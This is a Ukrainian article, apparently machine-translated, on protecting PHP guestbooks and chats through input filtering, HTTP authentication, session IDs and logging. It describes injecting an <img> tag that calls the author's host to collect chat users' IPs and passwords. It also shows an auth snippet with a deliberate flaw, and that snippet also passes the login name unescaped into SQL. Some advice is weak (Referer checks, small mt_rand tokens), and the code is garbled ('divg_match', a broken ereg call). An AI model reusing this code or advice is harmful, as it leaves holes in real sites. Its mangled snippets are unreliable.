Дана стаття не претендує на роль всеосяжного керівництва на тему "як зробити так, щоб мене ніхто не поламав". Так не буває. Єдина мета цієї статті - показати деякі використовувані мною прийоми для захисту веб-додатків типу WWW-чатів, гостьових книг, веб-форумів та інших програм подібного роду. Отже, давайте розглянемо деякі прийоми програмування на прикладі якоїсь гостьової книги, написаної на PHP.
Першою заповіддю веб-програміста, що бажає написати більш-менш захищене веб-додаток, має стати "Ніколи не вір даними, що надсилається тобі користувачем". Користувачі - це за визначенням такі злісні хакери, які тільки і шукають моменту, як би напхати у форми введення будь-яку гидоту типу PHP, JavaScript, SSI, викликів своїх моторошно хакреських скриптів і тому подібних жахливих речей. Тому перше, що необхідно зробити - це найжорстокішим чином відфільтрувати всі дані, надіслані користувачем.
Припустимо, у нас в гостьовій книзі існує 3 форми введення: ім'я користувача, його e-mail і саме по собі тіло повідомлення. Перш за все, обмежимо кількість даних, переданих з форм введення чим-небудь на кшталт:
<input type=text name=username maxlength=20>
На роль справжнього захисту, звичайно, це претендувати не може - єдине призначення цього елементу - обмежити користувача від випадкового введення імені довше 20-ти символів. А для того, щоб у користувача не виникло спокуси завантажити документ з формами введення і підправити параметр maxlength, встановимо де-небудь на самому початку скрипта, обробного дані, перевірку змінної оточення web-сервера HTTP-REFERER:
<?
$ Referer = getenv ("HTTP_REFERER");
if (! ereg ("^ http://www.myserver.com")) {
echo "hacker? he-he ... n";
exit;
}
?>
Тепер, якщо дані передані не з форм документа, що знаходиться на сервері www.myserver.com, хацкер буде видано деморалізуючий повідомлення. Насправді, і це теж не може служити 100%-ої гарантією того, що дані ДІЙСНО передані з нашого документа. Зрештою, мінлива HTTP_REFERER формується браузером, і ніхто не може перешкодити хакеру підправити код браузера, або просто зайти Телнет на 80-й порт і сформувати свій запит. Так що подібний захист годиться тільки від Ну Зовсім неосвічених хакерів. Втім, за моїми спостереженнями, близько 80% відсотків зловмисників на цьому етапі зупиняються і далі не лізуть - чи то IQ не дозволяє, чи то просто лінь. Особисто я просто виніс цей фрагмент коду в окремий файл, і викликаю його звідусіль, звідки це можливо. Часу на звернення до змінної йде трохи - а береженого Бог береже.
Наступним етапом стане горезвісна жорстка фільтрація переданих даних. Перш за все, не будемо довіряти змінної maxlength у формах введення і ручками поріжемо рядок:
$ Username = substr ($ username, 0,20);
Не дамо користувачеві використовувати порожнє поле імені - просто так, щоб не давати писати анонімні повідомлення:
if (empty ($ username)) {
echo "invalid username";
exit;
}
Заборонимо користувачеві використовувати в своєму імені будь-які символи, крім літер російського і латинського алфавіту, знака "_" (підкреслення), прогалини і цифр:
if (divg_match ("/[^( w) | (x7F-xFF) | (s )]/",$ username)) {
echo "invalid username";
exit;
}
Я віддаю перевагу скрізь, де потрібно що-небудь більш складне, ніж перевірити наявність патерну в рядку або поміняти один патерн на інший, використовувати Перл-сумісні регулярні вирази (Perl-compatible Regular Exdivssions). Те ж саме можна робити і використовуючи стандартні PHP-шні ereg () і eregi (). Я не буду наводити тут ці приклади - це досить докладно описано в мануали.
Для поля введення адреси e-mail додамо до списку дозволених символів знаки "@" і ".", Інакше користувач не зможе коректно ввести адресу. Зате приберемо російські літери і пробіл:
if (divg_match ("/[^( w )|(@)|(.)]/",$ usermail)) {
echo "invalid mail";
exit;
}
Поле введення тексту ми не будемо піддавати таким жорстким репресіям - перебирати всі знаки пунктуації, які можна використовувати, просто лінь, тому обмежимося використанням функцій nl2br () і htmlspecialchars () - це не дасть ворогові понатикали в текст повідомлення html-тегів. Деякі розробники, напевно, скажуть: "а ми все-таки дуже хочемо, щоб користувачі _моглі_ вставляти теги". Якщо сильно кортить - можна зробити якісь тегозаменітелі, типу "текст, оточений зірочками, буде висвітлений bold'ом.". Але ніколи не слід дозволяти користувачам використання тегів, що припускають підключення зовнішніх ресурсів - від тривіального <img> до супернавороченного <bgsound>.
Як-то раз мене попросили потестувати html-чат. Першим же поміченим мною багом було саме дозвіл вставки картинок. Враховуючи ще пару особливостей будови чату, через кілька хвилин у мене був файл, в якому акуратно були перераховані IP-адреси, імена та паролі всіх присутніх у цей момент на чаті користувачів. Як? Та дуже просто - чату був посланий тег <img src=http://myserver.com/myscript.pl>, в результаті чого браузери всіх користувачів, присутніх у той момент на чаті, викликали скрипт myscript.pl з хоста myserver.com. (Там не було людей, що сиділи під lynx'ом :-)). А скрипт, перед тим як видати location на картинку, звалив мені в лог-файл половину змінних оточення - зокрема QUERY_STRING, REMOTE_ADDR та інших. Для кожного користувача. З вищезазначеним результатом.
Тому моя думка - так, дозволити вставку html-тегів в чатах, форумах і гостьових книгах - це красиво, але гра не варта свічок - навряд чи користувачі підуть до Вас на книгу або в чат, знаючи, що їх IP може стати відомим першому зустрічному хакеру. Та й не тільки IP - можливості javascript'a я перераховувати не буду :-)
Для примітивної гостьової книги перерахованих коштів вистачить, щоб зробити її більш-менш складною для злому. Однак для зручності, книги зазвичай містять деякі можливості для модерування - як мінімум, можливість видалення повідомлень. Дозволену, природно, вузькому (або не дуже) колу осіб. Подивимося, що можна зробити тут.
Припустимо, вся система модерування книги також складається з двох частин - сторінки зі списком повідомлень, де можна відзначати підлягають видаленню повідомлення, і безпосередньо скрипта, що видаляє повідомлення. Назвемо їх відповідно admin1.php і admin2.php.
Найпростіший і надійний спосіб аутентикації користувача - розміщення скриптів в директорії, захищеної файлом. Htaccess. Для подолання такого захисту потрібно вже не додаток ламати, а web-сервер. Що трохи складніше і вже, в усякому разі, не вкладається в рамки теми цієї статті. Однак не завжди цей спосіб придатний до вживання - іноді буває треба проводити авторизацію засобами самого додатка.
Перший, найпростіший спосіб - авторизація засобами HTTP - через код 401. При вигляді такого коду повернення, будь-яка нормальна браузер висвітить віконце авторизації і попросить ввести логін і пароль. А надалі браузер при одержанні коду 401 буде намагатися підсунути web-серверу поточні для даного realm'а логін і пароль, і тільки в разі невдачі зажадає повторної авторизації. Приклад коду для виведення вимоги на таку авторизацію є в усіх хрестоматіях і мануали:
if (! isset ($ PHP_AUTH_USER)) {
Header ("WWW-Authenticate: Basic realm =" My Realm "");
Header ("HTTP/1.0 401 Unauthorized");
exit;
}
Розмістимо цей шматочок коду на початку скрипта admin1.php. Після його виконання, у нас будуть дві встановлені змінні $ PHP_AUTH_USER і PHP_AUTH_PW, в яких відповідно будуть лежати ім'я і пароль, введені користувачем. Їх можна, наприклад, перевірити по SQL-базі:
*** Увага !!!***
У наведеному нижче фрагменті коду свідомо допущена серйозна помилка в безпеці. Спробуйте знайти її самостійно.
$ Sql_statement = "select password from peoples where name = '$ PHP_AUTH_USER'";
$ Result = mysql ($ dbname, $ sql_statement);
$ Rpassword = mysql_result ($ result, 0, 'password');
$ Sql_statement = "select password ('$ PHP_AUTH_PW')";
$ Result = mysql ($ dbname, $ sql_statement);
$ Password = mysql_result ($ result, 0);
if ($ password! = $ rpassword) {
Header ("HTTP/1.0 401 Auth Required");
Header ("WWW-authenticate: basic realm =" My Realm "");
exit;
}
Згадана помилка, між іншим, дуже поширена серед початківців і неуважних програмістів. Колись я сам піймався на цю вудку - на щастя, особливої шкоди це не принесло, не рахуючи надісланих хакером в новинній стрічці декількох нецензурних фраз.
Отже, розкриваю секрет: припустимо, хакер вводить завідомо неіснуюче ім'я користувача та порожній пароль. При цьому в результаті вибірки з бази змінна $ rpassword приймає пусте значення. А алгоритм шифрування паролів за допомогою функції СУБД MySQL Password (), так само, втім, як і стандартний алгоритм Unix, при спробі шифрування порожнього пароля повертає пусте значення. У результаті - $ password == $ rpassword, умова виконується і зломщик отримує доступ до захищеної частини програми. Лікується це або забороною порожніх паролів, або, на мій погляд, більш правильний шлях - вставкою наступного фрагмента коду:
if (mysql_numrows ($ result)! = 1) {
Header ("HTTP/1.0 401 Auth Required");
Header ("WWW-authenticate: basic realm =" My Realm "");
exit;
}
Тобто - перевіркою наявності одного і тільки одного користувача в базі. Ні більше, ні менше.
Точно таку ж перевірку на авторизацію варто вбудувати і в скрипт admin2.php. По ідеї, якщо користувач хороша людина - то вона приходить до admin2.php через admin1.php, а значить, вже є авторизованим і ніяких повторних питань йому не буде - браузер нишком передасть пароль. Якщо ж ні - ну, тоді і посваритися не гріх. Скажімо, вивести ту ж фразу "hacker? He-he ...".
На жаль, не завжди вдається скористатися алгоритмом авторизації через код 401 і доводиться виконувати її тільки засобами програми. У загальному випадку модель такої авторизації буде наступною:
Користувач один раз авторизується за допомогою веб-форми й скрипта, який перевіряє правильність імені та пароля.
Решта скрипти захищеної частини програми яких-небудь чином перевіряють факт авторизованого користувача.
Така модель називається сесійного - після проходження авторизації відкривається так звана "сесія", протягом якої користувач має доступ до захищеної частини системи. Сесія закрилася - доступ закривається. На цьому принципі, зокрема, будується більшість www-чатів: користувач може отримати доступ до чату тільки після того, як пройде процедуру входу. Основна складність даної схеми полягає в тому, що всі скрипти захищеної частини програми якимось чином мають знати про те, що користувач, який посилає дані, успішно авторизувався.
Розглянемо кілька варіантів, як це можна зробити:
Після авторизації всі скрипти захищеної частини викликаються з якимсь прапорцем виду adminmode = 1. (Не треба сміятися - я сам таке бачив).
Ясно, що будь-який, кому відомий прапорець adminmode, може сам сформувати URL і зайти в режимі адміністрування. Крім того - немає можливості відрізнити одного користувача від іншого.
Скрипт авторизації може яким-небудь чином передати ім'я користувача іншим скриптам. Поширена в багатьох www-чатах - для того, щоб відрізнити, де чиє повідомлення йде, поряд з формою типу text для введення повідомлення, прилаштовується форма типу hidden, де вказується ім'я користувача. Теж ненадійно, тому що хакер може завантажити документ з формою до себе на диск і поміняти значення форми hidden. Деяку користь тут може принести вищезгадана перевірка HTTP_REFERER - але, як я вже говорив, жодних гарантій вона не дає.
Визначення користувача по IP-адресою. У цьому випадку, після проходження авторизації, де-небудь у локальній базі даних (sql, dbm, та хоч у txt-файлі) зберігається поточний IP користувача, а всі скрипти захищеної частини дивляться в змінну REMOTE_ADDR і перевіряють, чи є така адреса в базі . Якщо є - значить, авторизація була, якщо немає - "hacker? He-he ..." :-)
Це більш надійний спосіб - не пройти авторизацію та отримати доступ вдасться лише в тому випадку, якщо з того ж IP сидить інший користувач, успішно авторизуватися. Однак, враховуючи поширеність проксі-серверів та IP-Masquerad'інга - це цілком реально.
Єдиним, відомим мені простим і досить надійним способом верифікації особи користувача є авторизація за допомогою random uid. Розглянемо її більш докладно.
Після авторизації користувача скрипт, який провів авторизацію, генерує досить довге випадкове число:
mt_srand ((double) microtime () * 1000000);
$ Uid = mt_rand (1,1000000);
Це число він:
а) заносить в локальний список авторизованих користувачів;
б) Видає користувачеві.
Користувач при кожному запиті, крім іншої інформації (повідомлення в чаті, або список повідомлень в гостьовій книзі), відправляє серверу свій uid. При цьому в документі з формами введення буде присутній, поряд з іншими формами, тег види:
<input type=hidden name=uid value=1234567890>
Форма uid невидима для користувача, але вона передається скрипту захищеної частини програми. Той звіряє переданий йому uid з uid'ом, що зберігається в локальній базі і або виконує свою функцію, або ... "Hacker? He-he ...".
Єдине, що необхідно зробити при такій організації - періодично чистити локальний список uid'ов та / або зробити для користувача кнопку "вихід", при натисканні на яку локальний uid користувача зітреться з бази на сервері - сесія закрита.
Деякі програмісти використовують як uid не "одноразове" динамічно генерирующиеся число, а пароль користувача. Це допустимо, але це є "поганим тоном", оскільки пароль користувача звичайно не змінюється від сесії до сесії, а значить - хакер зможе сам відкривати сесії. Та ж сама модель може бути використана скрізь, де потрібна ідентифікація користувача - у чатах, веб-конференціях, електронних магазинах.
На закінчення варто згадати і про таку корисної речі, як ведення логів. Якщо в кожну з описаних процедур вбудувати можливість занесення події в лог-файл із зазначенням IP-адреси потенційного зловмисника - то в разі реальної атаки обчислити хакера буде набагато простіше, оскільки хакери зазвичай пробують послідовно ускладнюються атаки. Для визначення IP-адреси бажано використовувати не тільки стандартну змінну REMOTE_ADDR, але і менш відому HTTP_X_FORWARDED_FOR, яка дозволяє визначити IP користувача, що знаходиться за проксі-сервером. Природно - якщо проксі це дозволяє.
При веденні лог-файлів, необхідно пам'ятати, що доступ до них повинен бути тільки у Вас. Краще всього, якщо вони будуть розташовані за межами дерева каталогів, доступного через WWW. Якщо немає такої можливості - створіть окремий каталог для лог-файлів і закрийте туди доступ за допомогою. Htaccess (Deny from all).